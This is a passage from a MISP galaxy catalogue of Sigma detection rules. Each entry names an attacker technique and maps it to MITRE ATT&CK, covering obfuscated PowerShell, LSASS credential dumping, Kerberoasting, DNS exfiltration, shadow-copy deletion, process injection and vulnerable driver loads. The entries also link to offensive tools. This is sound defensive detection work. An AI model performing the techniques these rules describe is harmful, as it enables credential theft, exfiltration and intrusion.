<td><a href="https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/">https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/</a></td>
</tr>
<tr>
<td><img src="https://github.com/daftthack/DomainPasswordSpray/blob/b13d64a5834694a73fd2aea9911a83027465a7/DomainPasswordSpray.ps1" alt="GitHub" /></td>
</tr>
<tr>
<td><img src="https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1" alt="GitHub" /></td>
</tr>
<tr>
<td><img src="https://github.com/besimorhino/powercat" alt="GitHub" /></td>
</tr>
<tr>
<td><img src="https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries" alt="GitHub" /></td>
</tr>
<tr>
<td><img src="https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32baccff75e931ae00554/OfficeMemScraper.ps1" alt="GitHub" /></td>
</tr>
<tr>
<td><img src="https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfc4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1" alt="GitHub" /></td>
</tr>
<tr>
<td><img src="https://github.com/HarmJ0y/DAMP" alt="GitHub" /></td>
</tr>
<tr>
<td><img src="https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html" alt="GitHub" /></td>
</tr>
</tbody>
</table>
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell

Detects Obfuscated Powershell via VAR++ LAUNCHER

The tag is: misp-galaxy:sigma-rules="Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell"

View relationships graph

Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9144. Table References

Links

https://github.com/SigmaHQ/sigma/issues/1009

Clearing Windows Console History

Identifies when a user attempts to clear console history. An adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion.

The tag is: misp-galaxy:sigma-rules="Clearing Windows Console History"
View relationships graph

Clearing Windows Console History has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003" with estimative-language:likelihood-probability="almost-certain"

Table 9145. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.shellhacks.com/clear-history-powershell/">https://www.shellhacks.com/clear-history-powershell/</a></td>
</tr>
<tr>
<td><a href="https://stefanos.cloud/blog/kb/how-to-clear-the-powershell-command-history/">https://stefanos.cloud/blog/kb/how-to-clear-the-powershell-command-history/</a></td>
</tr>
<tr>
<td><a href="https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics">https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_clearing_windows_console_history.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_clearing_windows_console_history.yml</a></td>
</tr>
</tbody>
</table>

HackTool - Rubeus Execution - ScriptBlock

Detects the execution of the hacktool Rubeus using specific command line flags

The tag is: *misp-galaxy:sigma-rules="HackTool - Rubeus Execution - ScriptBlock"*

View relationships graph

HackTool - Rubeus Execution - ScriptBlock has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003" with estimative-language:likelihood-probability="almost-certain"

Table 9146. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/GhostPack/Rubeus">https://github.com/GhostPack/Rubeus</a></td>
</tr>
<tr>
<td><a href="https://blog.harmj0y.net/redteaming/from-kekeo-to-rubeus">https://blog.harmj0y.net/redteaming/from-kekeo-to-rubeus</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_hktl_rubeus.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_hktl_rubeus.yml</a></td>
</tr>
</tbody>
</table>
Powershell XML Execute Command

Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code

The tag is: misp-galaxy:sigma-rules="Powershell XML Execute Command"

View relationships graph

Powershell XML Execute Command has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9147. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfe3742bf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-8---powershell-xml-requests">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfe3742bf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-8---powershell-xml-requests</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_xml_iex.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_xml_iex.yml</a></td>
</tr>
</tbody>
</table>

Suspicious PowerShell Invocations - Specific

Detects suspicious PowerShell invocation command parameters

The tag is: misp-galaxy:sigma-rules="Suspicious PowerShell Invocations - Specific"

View relationships graph

Suspicious PowerShell Invocations - Specific has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9148. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_invocation_specific.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_invocation_specific.yml</a></td>
</tr>
</tbody>
</table>

Windows Defender Exclusions Added - PowerShell

Detects modifications to the Windows Defender configuration settings using PowerShell to add exclusions
Suspicious X509Enrollment - Ps Script

Detect use of X509Enrollment

The tag is: `misp-galaxy:sigma-rules="Suspicious X509Enrollment - Ps Script"`

Malicious Nishang PowerShell Commandlets

Detects Commandlet names and arguments from the Nishang exploitation framework

The tag is: `misp-galaxy:sigma-rules="Malicious Nishang PowerShell Commandlets"`
Malicious Nishang PowerShell Commandlets has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9151. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/samratashok/nishang">https://github.com/samratashok/nishang</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_nishang_malicious_commandlets.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_nishang_malicious_commandlets.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious GetTypeFromCLSID ShellExecute**

Detects suspicious Powershell code that execute COM Objects

The tag is: misp-galaxy:sigma-rules="Suspicious GetTypeFromCLSID ShellExecute"

View relationships graph

Suspicious GetTypeFromCLSID ShellExecute has relationships with:


Table 9152. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bf365fee2a9/atomics/T1546.015/T1546.015.md#atomic-test-2---powershell-execute-com-object">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bf365fee2a9/atomics/T1546.015/T1546.015.md#atomic-test-2---powershell-execute-com-object</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_gettypefromclsid.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_gettypefromclsid.yml</a></td>
</tr>
</tbody>
</table>

**WMImplant Hack Tool**

Detects parameters used by WMImplant

The tag is: misp-galaxy:sigma-rules="WMImplant Hack Tool"

View relationships graph

WMImplant Hack Tool has relationships with:


- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-
Registry-Free Process Scope COR_PROFILER

Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR. (Citation: Microsoft Profiling Mar 2017) (Citation: Microsoft COR_PROFILER Feb 2013)

The tag is: *misp-galaxy:sigma-rules="Registry-Free Process Scope COR_PROFILER"*

View relationships graph

Registry-Free Process Scope COR_PROFILER has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="COR_PROFILER - T1574.012"* with estimative-language:likelihood-probability="almost-certain"

Powershell DNSExfiltration

DNSExfiltrator allows for transferring (exfiltrate) a file over a DNS request covert channel

The tag is: *misp-galaxy:sigma-rules="Powershell DNSExfiltration"*

View relationships graph

Powershell DNSExfiltration has relationships with:

Invoke-Obfuscation Via Use MSHTA - PowerShell

Detects Obfuscated Powershell via use MSHTA in Scripts

The tag is: *misp-galaxy: sigma-rules*= ”Invoke-Obfuscation Via Use MSHTA - PowerShell”

View relationships graph

Invoke-Obfuscation Via Use MSHTA - PowerShell has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern* = ”Obfuscated Files or Information - T1027” with estimative-language:likelihood-probability = ”almost-certain”
- related-to: *misp-galaxy: mitre-attack-pattern* = ”PowerShell - T1059.001” with estimative-language:likelihood-probability = ”almost-certain”

Potential Persistence Via Security Descriptors - ScriptBlock

Detects usage of certain functions and keywords that are used to manipulate security descriptors in order to potentially set a backdoor. As seen used in the DAMP project.

The tag is: *misp-galaxy: sigma-rules*= ”Potential Persistence Via Security Descriptors - ScriptBlock”
Powershell WMI Persistence

Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription.

The tag is: misp-galaxy:sigma-rules="Powershell WMI Persistence"

View relationships graph

Powershell WMI Persistence has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"

### Code Executed Via Office Add-in XLL File

Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs

The tag is: misp-galaxy:sigma-rules="Code Executed Via Office Add-in XLL File"

View relationships graph

Code Executed Via Office Add-in XLL File has relationships with:

Powershell Directory Enumeration

Detections technique used by MAZE ransomware to enumerate directories using Powershell

The tag is: `misp-galaxy:sigma-rules="Powershell Directory Enumeration"`

View relationships graph

Powershell Directory Enumeration has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-language:likelihood-probability="almost-certain"

Table 9160. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md</a></td>
</tr>
</tbody>
</table>

Automated Collection Bookmarks Using Get-ChildItem PowerShell

Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.

The tag is: `misp-galaxy:sigma-rules="Automated Collection Bookmarks Using Get-ChildItem PowerShell"`

View relationships graph

Automated Collection Bookmarks Using Get-ChildItem PowerShell has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Browser Information Discovery - T1217"` with estimative-language:likelihood-probability="almost-certain"

Table 9161. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1217/T1217.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1217/T1217.md</a></td>
</tr>
</tbody>
</table>
Deletion of Volume Shadow Copies via WMI with PowerShell - PS Script

Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil

The tag is: `misp-galaxy:sigma-rules="Deletion of Volume Shadow Copies via WMI with PowerShell - PS Script"`

View relationships graph

Deletion of Volume Shadow Copies via WMI with PowerShell - PS Script has relationships with:


Table 9162. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Invoke-Obfuscation CLIP+ Launcher - PowerShell

Detects Obfuscated use of Clip.exe to execute PowerShell

The tag is: `misp-galaxy:sigma-rules="Invoke-Obfuscation CLIP+ Launcher - PowerShell"`

View relationships graph

Invoke-Obfuscation CLIP+ Launcher - PowerShell has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9163. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/issues/1009">https://github.com/SigmaHQ/sigma/issues/1009</a></td>
</tr>
</tbody>
</table>
PowerShell Get-Process LSASS in ScriptBlock

Detects a Get-Process command on lsass process, which is in almost all cases a sign of malicious activity

The tag is: `misp-galaxy:sigma-rules="PowerShell Get-Process LSASS in ScriptBlock"`

PowerShell Get-Process LSASS in ScriptBlock has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9164. **Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/PythonResponder/status/1385064506049630211">https://twitter.com/PythonResponder/status/1385064506049630211</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_getprocess_lsass.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_getprocess_lsass.yml</a></td>
</tr>
</tbody>
</table>

Suspicious IO.FileStream

Open a handle on the drive volume via the `\\` DOS device path specifier and perform direct access read of the first few bytes of the volume.

The tag is: `misp-galaxy:sigma-rules="Suspicious IO.FileStream"`

Suspicious IO.FileStream has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003"` with estimative-language:likelihood-probability="almost-certain"

Table 9165. **Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1006/T1006.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1006/T1006.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_iofilestream.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_iofilestream.yml</a></td>
</tr>
</tbody>
</table>
Invoke-Obfuscation Via Stdin - Powershell

Dectes Obfuscated Powershell via Stdin in Scripts

The tag is: misp-galaxy:sigma-rules="Invoke-Obfuscation Via Stdin - Powershell"

View relationships graph

Invoke-Obfuscation Via Stdin - Powershell has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Potentially Suspicious Call To Win32_NTEventlogFile Class - PSScript

Detects usage of the WMI class "Win32_NTEventlogFile" in a potentially suspicious way (delete, backup, change permissions, etc.) from a PowerShell script

The tag is: misp-galaxy:sigma-rules="Potentially Suspicious Call To Win32_NTEventlogFile Class - PSScript"

PowerShell Script With File Upload Capabilities

Detects PowerShell scripts leveraging the "Invoke-WebRequest" cmdlet to send data via either "PUT" or "POST" method.

The tag is: misp-galaxy:sigma-rules="PowerShell Script With File Upload Capabilities"
PowerShell Script With File Upload Capabilities has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"

### Table 9168. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html">https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffedd3742b9c365fee2a9/atomics/T1020/T1020.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffedd3742b9c365fee2a9/atomics/T1020/T1020.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_script_with_upload_capabilities.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_script_with_upload_capabilities.yml</a></td>
</tr>
</tbody>
</table>

### Root Certificate Installed - PowerShell

Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.

The tag is: `misp-galaxy:sigma-rules="Root Certificate Installed - PowerShell"`

### View relationships graph

Root Certificate Installed - PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1553.004" with estimative-language:likelihood-probability="almost-certain"

### Table 9169. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffedd3742b9c365fee2a9/atomics/T1553.004/T1553.004.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffedd3742b9c365fee2a9/atomics/T1553.004/T1553.004.md</a></td>
</tr>
</tbody>
</table>

### Potential Defense Evasion Via Raw Disk Access By Uncommon Tools

Detects raw disk access using uncommon tools or tools that are located in suspicious locations (heavy filtering is required), which could indicate possible defense evasion attempts.

The tag is: `misp-galaxy:sigma-rules="Potential Defense Evasion Via Raw Disk Access By Uncommon Tools"`
Password Dumper Remote Thread in LSASS

Detects password dumper activity by monitoring remote thread creation EventID 8 in combination with the lsass.exe process as TargetImage. The process in field Process is the malicious program. A single execution can lead to hundreds of events.

The tag is: *misp-galaxy: sigma-rules="Password Dumper Remote Thread in LSASS"

Remote Thread Creation In Uncommon Target Image

Detects uncommon target processes for remote thread creation

The tag is: *misp-galaxy: sigma-rules="Remote Thread Creation In Uncommon Target Image"
Remote Thread Creation In Mstsc.Exe From Suspicious Location

Detects remote thread creation in the "mstsc.exe" process by a process located in a potentially suspicious location. This technique is often used by attackers in order to hook some APIs used by DLLs loaded by "mstsc.exe" during RDP authentications in order to steal credentials.

The tag is: *misp-galaxy:sigma-rules="Remote Thread Creation In Mstsc.Exe From Suspicious Location"*

Remote Thread Creation Via PowerShell In Potentially Suspicious Target

Detects the creation of a remote thread from a Powershell process in a potentially suspicious target process

The tag is: *misp-galaxy:sigma-rules="Remote Thread Creation Via PowerShell In Potentially Suspicious Target"*

View relationships graph

Remote Thread Creation Via PowerShell In Potentially Suspicious Target has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011"* with estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"* with estimative-language:likelihood-probability="almost-certain"
Remote Thread Created In KeePass.EXE

Detects remote thread creation in "KeePass.exe" which could indicate potential password dumping activity

The tag is: misp-galaxy: sigma-rules="Remote Thread Created In KeePass.EXE"

View relationships graph

Remote Thread Created In KeePass.EXE has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Password Managers - T1555.005" with estimative-language:likelihood-probability="almost-certain"

HackTool - Potential CobaltStrike Process Injection

Detects a potential remote threat creation with certain characteristics which are typical for Cobalt Strike beacons

The tag is: misp-galaxy: sigma-rules="HackTool - Potential CobaltStrike Process Injection"

View relationships graph

HackTool - Potential CobaltStrike Process Injection has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
Remote Thread Creation Ttdinject.exe Proxy

Detects a remote thread creation of Ttdinject.exe used as proxy

The tag is: `misp-galaxy:sigma-rules="Remote Thread Creation Ttdinject.exe Proxy"`

View relationships graph

Remote Thread Creation Ttdinject.exe Proxy has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127"` with estimative-language:likelihood-probability="almost-certain"

Table 9177. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Ttdinject/">https://lolbas-project.github.io/lolbas/Binaries/Ttdinject/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_hktl_cobaltstrike.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_hktl_cobaltstrike.yml</a></td>
</tr>
</tbody>
</table>

CreateRemoteThread API and LoadLibrary

Detects potential use of CreateRemoteThread api and LoadLibrary function to inject DLL into a process

The tag is: `misp-galaxy:sigma-rules="CreateRemoteThread API and LoadLibrary"

View relationships graph

CreateRemoteThread API and LoadLibrary has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9178. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_loadlibrary.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_loadlibrary.yml</a></td>
</tr>
</tbody>
</table>

Remote Thread Creation By Uncommon Source Image

Detects uncommon processes creating remote threads
Remote Thread Creation By Uncommon Source Image has relationships with:

- **related-to:** misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

### Potential Credential Dumping Attempt Via PowerShell Remote Thread

Detects remote thread creation by PowerShell processes into "lsass.exe"

The tag is: *misp-galaxy:sigma-rules="Potential Credential Dumping Attempt Via PowerShell Remote Thread"*

### HackTool - CACTUSTORCH Remote Thread Creation

Detects remote thread creation from CACTUSTORCH as described in references.

The tag is: *misp-galaxy:sigma-rules="HackTool - CACTUSTORCH Remote Thread Creation"*
• related-to: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"

Table 9181. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/SBousseaden/status/1090588499517079552">https://twitter.com/SBousseaden/status/1090588499517079552</a></td>
</tr>
<tr>
<td><a href="https://github.com/mdsecactivebreach/CACTUSTORCH">https://github.com/mdsecactivebreach/CACTUSTORCH</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_hktl_cactustorch.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_hktl_cactustorch.yml</a></td>
</tr>
</tbody>
</table>

PUA - Process Hacker Driver Load

Detects driver load of the Process Hacker tool

The tag is: misp-galaxy:sigma-rules="PUA - Process Hacker Driver Load"

View relationships graph

PUA - Process Hacker Driver Load has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543" with estimative-language:likelihood-probability="almost-certain"

Table 9182. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://processhacker.sourceforge.io/">https://processhacker.sourceforge.io/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_pua_process_hacker.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_pua_process_hacker.yml</a></td>
</tr>
</tbody>
</table>

Malicious Driver Load By Name

Detects the load of known malicious drivers via their names only.

The tag is: misp-galaxy:sigma-rules="Malicious Driver Load By Name"

View relationships graph

Malicious Driver Load By Name has relationships with:
related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

Table 9183. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://loldrivers.io/">https://loldrivers.io/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_mal_drivers_names.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_mal_drivers_names.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Driver Load from Temp

Detects a driver load from a temporary directory

The tag is: misp-galaxy:sigma-rules="Suspicious Driver Load from Temp"

View relationships graph

Suspicious Driver Load from Temp has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 9184. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_susp_temp_use.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_susp_temp_use.yml</a></td>
</tr>
</tbody>
</table>

Vulnerable HackSys Extreme Vulnerable Driver Load

Detects the load of HackSys Extreme Vulnerable Driver which is an intentionally vulnerable Windows driver developed for security enthusiasts to learn and polish their exploitation skills at Kernel level and often abused by threat actors

The tag is: misp-galaxy:sigma-rules="Vulnerable HackSys Extreme Vulnerable Driver Load"

View relationships graph

Vulnerable HackSys Extreme Vulnerable Driver Load has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 9185. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
PUA - System Informer Driver Load

Detects driver load of the System Informer tool

The tag is: misp-galaxy:sigma-rules="PUA - System Informer Driver Load"

View relationships graph

PUA - System Informer Driver Load has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543" with estimative-language:likelihood-probability="almost-certain"

Vulnerable Driver Load By Name

Detects the load of known vulnerable drivers via their names only.

The tag is: misp-galaxy:sigma-rules="Vulnerable Driver Load By Name"

View relationships graph

Vulnerable Driver Load By Name has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
PowerShell Scripts Run by a Services

Detects powershell script installed as a Service

The tag is: `misp-galaxy:sigma-rules="PowerShell Scripts Run by a Services"`

View relationships graph

PowerShell Scripts Run by a Services has relationships with:


Table 9188. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse">https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_powershell_script_installed_as_service.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_powershell_script_installed_as_service.yml</a></td>
<td></td>
</tr>
</tbody>
</table>

Vulnerable WinRing0 Driver Load

Detects the load of a signed WinRing0 driver often used by threat actors, crypto miners (XMRIG) or malware for privilege escalation

